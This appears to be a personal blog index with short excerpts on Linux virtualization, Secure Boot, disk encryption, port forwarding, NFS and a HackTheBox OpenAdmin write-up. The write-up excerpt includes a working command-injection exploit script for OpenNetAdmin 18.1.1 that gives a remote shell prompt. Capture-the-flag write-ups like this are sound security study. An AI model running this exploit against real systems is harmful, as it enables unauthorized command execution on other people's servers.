Nathan Higley

Creating a macOS Virtual Machine using KVM/QEMU on Linux

Something I stumbled accross the other day was GitHub - foxlet/macOS-Simple-KVM: Tools to set up a quick macOS VM in QEMU, accelerated by KVM. This script makes creating a macOS VM really simple, especially for someone who does not have access to an actual Mac. This script even enables you to install it headless to use with a server or cloud provider so that you can remotely use the VM through VNC or a similar method.

Enrolling Custom Secure Boot Keys

Secure boot is a feature meant to increase the security of your computer without you usually even having to worry about it. It essentially verifies that your bootloader is actually the bootloader it says it is and makes sure the bootloader is in a list of approved bootloaders. If you want to read more about secure boot, I recommend this HowToGeek article which descirbes some of what secure boot does.

Arch Linux Full Encryption Installation Guide

Arch Linux w/ Fully Encrypted Filesystem This guide will show step by step how to create a clean Arch Linux install with a fully encrypted filesystem. This means that even the boot partition will be encrypted. The only unencrypted partition on the disk will be the EFI partition which could be configured later to use secure boot. Assuming an EFI system with GPT disk. Basic Install Stuff Make sure you can hit the outside world:

Configuring SSF to Port Forward

Configuring SSF for Port Forwarding To configure SSF you have to do different things on the server with the public facing IP and on the client which runs the service you want to forward. Install SSF Do on both Server and Client Download SSF: SSF - Secure Socket Funneling - Network tool - TCP and UDP port forwarding, SOCKS proxy, Remote shell, Native Relay protocol, Standalone Extract to /opt/ssf # unzip *.

NFS Share Setup CentOS

CentOS NFS Share Setup Misc Things Get temporary network: sudo dhclient Reboot faster: sudo init 6 Format /dev/sdb Install rpmfusion for exfat support. sudo dnf install –nogpgcheck sudo dnf install –nogpgcheck sudo dnf config-manager –enable PowerTools sudo dnf update sudo dnf install exfat-utils fuse-exfat Format drive: sudo mkfs.exfat /dev/sdb Mount: sudo mkdir /mount-point sudo mount /dev/sdb /mount-point

HackTheBox OpenAdmin Quick Writeup

OpenAdmin Box IP: Enumeration ╰─$ sudo nmap -T1 -p 80,443 1 2 3 4 5 6 PORT STATE SERVICE 80/tcp open http 443/tcp closed https Nmap done: 1 IP address (1 host up) scanned in 45.44 seconds ONA v18.1.1 1 2 3 4 5 6 7 #!/bin/bash URL="${1}" while true;do echo -n "$"; read cmd curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1 done .